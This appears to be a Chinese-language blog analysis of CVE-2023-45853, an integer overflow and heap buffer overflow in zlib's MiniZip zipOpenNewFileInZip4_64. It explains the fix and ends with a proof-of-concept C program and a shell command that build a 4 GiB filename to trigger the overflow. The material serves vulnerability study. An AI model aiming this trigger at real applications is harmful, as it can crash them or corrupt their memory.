漏洞简介
MiniZip在zlib 1.3版本及之前的版本中存在一个整数溢出漏洞和由此引起的堆缓冲区溢出漏洞,漏洞出现在zipOpenNewFileInZip4_64
函数中,攻击者可以通过一个较长的文件名、注释或额外字段来利用该漏洞。需要注意的是,MiniZip并非zlib产品的一个受支持的组成部分。
漏洞分析
CVE 相关信息
根据CVE提供的参考链接,可以获取到以下信息:
- CVEID记录创建时间为:2023-10-14
- 该漏洞在2023-8-11发现并提交给chromium
- minizip是zlib中contrib目录的一部分,是由zlib的用户提供,并且没有经过zlib的作者的测试。使用风险自负。 ——zlib作者
- minizip 源代码可在contrib/minizip github 页面上找到,还有minizip-ng,一个具有更多功能的重写库 ——winimage
- 该漏洞修复的提交记录:https://github.com/madler/zlib/pull/843
代码分析
在 MiniZip 库中,zipOpenNewFileInZip4_64
函数通常用于以下场景:
- 打开一个新的 ZIP 文件:在创建新的 ZIP 压缩文件时,此函数用于初始化并添加新文件到 ZIP 归档中。
- 向现有 ZIP 文件添加文件:如果要向已存在的 ZIP 归档添加新文件,该函数同样会被调用。
查看minzip源代码存储库,搜索漏洞函数定位到函数定义位置:contrib/minizip/zip.c
在该文件提交记录中找到关于zip标头字段的溢出:
同时在Issues中找到该CVE的相关修复信息,都指向commit 73331a6
:
查看代码提交细节,新增了检查zip标头中的文件名(filename)、注释(comment)的长度以及额外字段长度(size_extrafield_global)的值,如果大于0xffff
,即65535字节,则返回ZIP_PARAMERROR
:
修复前的代码由于没有限制size_filename,size_extrafield_global和size_comment的值,导致zi->ci.size_centralheader
的值可能超过uInt类型(无符号整数)的最大值(例如在 32 位系统中是 2^32 - 1),从而发生整数溢出,导致size_centralheader的值回绕,使size_centralheader的值异常小,在执行(char*)ALLOC((uInt)zi->ci.size_centralheader + zi->ci.size_centralExtraFree);
时实际分配的内存远远小于预期的大小:
尽管 malloc 本身不会直接导致溢出,但是因为整数溢出而分配了比实际所需更小的内存块,后续对这块内存的访问会超出其边界,导致缓冲区溢出,引起程序崩溃、数据损坏,甚至可能被利用执行任意代码。
Poc验证
漏洞验证思路
由于 CVE-2023-45853 漏洞与 zipOpenNewFileInZip4_64
函数有关,因此漏洞利用的关键在于构造一个恶意的 ZIP 文件,使文件名、注释或额外字段长度超出数据类型范围,导致整数溢出。由于整数溢出不容易观察到现象,因此可以在漏洞源代码zip.c
文件中添加一个printf语句,用于输出文件名、注释和额外字段的长度,从而便于观察溢出情况。
验证环境
- 操作系统采用debian11 x86_64
- 漏洞代码使用:
https://github.com/madler/zlib/tree/25bbd7f5a6a172b83b59fab7a80c55d1533dd100/contrib/minizip
Poc验证
1、在minizip源代码文件zip.c
第1092行添加printf
语句,输出size_filename,size_extrafield_global和size_comment的值:
2、然后编写poc.c
验证代码,直接在内存生成超出文件名称会在编译时发生段错误,可能是物理内存不足的原因。因此采用文件映射的方式将large_file.txt
文件内容映射的内存地址用作zipOpenNewFileInZip4_64
函数的文件名参数,全局额外字段和注释固定,因此只需观察size_filename
的值即可:
#include "zip.h"
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
const char *file_path = "large_file.txt";
int fd = open(file_path, O_RDONLY);
if (fd == -1) {
perror("打开文件失败");
return 1;
}
// 获取文件大小
struct stat sb;
if (fstat(fd, &sb) == -1) {
perror("获取文件大小失败");
close(fd);
return 1;
}
// 映射文件到内存
char *mapped = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (mapped == MAP_FAILED) {
perror("映射文件失败");
close(fd);
return 1;
}
zipFile zf = zipOpen("test.zip", APPEND_STATUS_CREATE);
if (!zf) {
fprintf(stderr, "无法创建zip文件\n");
return 1;
}
zip_fileinfo zi;
memset(&zi, 0, sizeof(zip_fileinfo));
int err = zipOpenNewFileInZip4_64(
zf, // zip文件
mapped, // 长文件名
&zi, // zip文件信息
NULL, 0, // 本地额外字段
NULL, 0, // 全局额外字段
"这里是注释", // 注释
Z_DEFLATED, // 压缩方法
Z_DEFAULT_COMPRESSION, // 压缩级别
0, // raw
-MAX_WBITS, // windowBits
DEF_MEM_LEVEL, // memLevel
Z_DEFAULT_STRATEGY, // strategy
NULL, // 密码
0, // crcForCrypting
0, // versionMadeBy
0, // flagBase
0 // zip64
);
if (err != ZIP_OK) {
fprintf(stderr, "无法在zip中打开新文件: %d\n", err);
zipClose(zf, NULL);
return 1;
}
// 这里可以添加更多逻辑,例如写数据到zip文件
zipCloseFileInZip(zf);
zipClose(zf, "关闭zip文件的注释");
munmap(mapped, sb.st_size);
close(fd);
return 0;
}
3、将poc.c
文件放在minizip目录下编译,生成poc文件:gcc -o ../../../poc poc.c unzip.c zip.c ioapi.c -lz
4、然后创建large_file.txt
文件,写入test1234\n
作为文件名,运行后输出size_filename的值为9,未发生溢出:
5、生成65536长度的文件名,将文件名保存到文件,运行的值为65536,未发生溢出,生成2^32
长度的文件名,运行后的值为0,发生溢出:yes | tr '\n' 'A' | head -c 4294967296 > large_file.txt
Comments | NOTHING